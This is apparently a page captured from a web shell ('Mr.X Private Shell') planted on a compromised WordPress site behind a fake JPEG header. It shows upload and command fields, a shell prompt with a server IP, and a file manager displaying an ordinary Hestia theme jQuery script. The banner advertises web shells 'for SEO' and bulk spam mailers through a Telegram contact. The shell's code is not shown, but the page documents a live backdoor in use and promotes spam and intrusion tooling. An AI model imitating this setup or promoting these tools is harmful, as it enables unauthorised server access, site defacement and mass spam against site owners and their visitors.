����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

eliteafr@216.73.216.41: ~ $
jQuery(document).ready( function ( $ ) {

    var container = $( '#hestia-page-settings' );

    $.metaRadio = {

        /**
         * Init function
         */
        'init': function () {
            this.buttonSet();
            this.resetControl();
            this.handleClick();
        },

        /**
         * If elementor is installed, when clicked on a meta, it took you at the beginning of page.
         * This fixes the issue.
         */
        'handleClick': function () {
            container.find('.ui-button').on( 'click', function () {
                $(this).parent().find('.ui-button').removeClass('ui-state-active');
                $(this).addClass('ui-state-active');

                var forLabel = $(this).attr('for');
                var options = forLabel.split( '-' );
                var controlName = options[0];
                var controlValue = options[1];
                if( options.length > 1){
                    for( var i = 2; i < options.length; i++) {
                        controlValue += '-'+options[i];
                    }
                }
                $('input[name="'+controlName+'"][value="'+controlValue+'"]').prop('checked', true);
                $(this).siblings( '.reset-data-wrapper').children('.reset-data').removeClass('disabled');
                return false;
            });
        },

        /**
         * Buttonset init
         */
        'buttonSet': function () {
            container.find('.buttonset').buttonset();
            this.checkDefault();
        },

        /**
         * Check meta default value.
         */
        'checkDefault': function () {
            container.find('.inside').find('div[id^=\'control-hestia\']').each(function () {
               var control = $(this);
               var defaultValue = control.find( '.reset-data' ).data('default');
               var controlId = control.find( '.reset-data' ).data('id');
               control.find('input[name="'+controlId+'"]').each( function () {
                   if( $(this).attr('checked') === 'checked' && $(this).val() === defaultValue ){
                     $(this).siblings( '.reset-data-wrapper').children('.reset-data').addClass('disabled');
                   }
                });
            });
        },

        /**
         * Reset Control to default state
         */
        'resetControl': function () {
            $( '.reset-data' ).on('click', function () {
                var resetButton = $(this);
                var controlId = resetButton.data('id');
                var defaultValue = resetButton.data('default');
                resetButton.addClass('disabled');
                resetButton.parent().parent().find('label').removeClass('ui-state-active');
                resetButton.parent().parent().find('input[name="'+controlId+'"]').prop('checked', false);
                resetButton.parent().parent().find('label[for="'+ controlId +'-'+defaultValue+'"]').addClass('ui-state-active');
            });
        }
    };

    $.metaRadio.init();

});

Filemanager

Name Type Size Permission Actions
radio-image.css File 1.41 KB 0644
radio-image.js File 2.98 KB 0644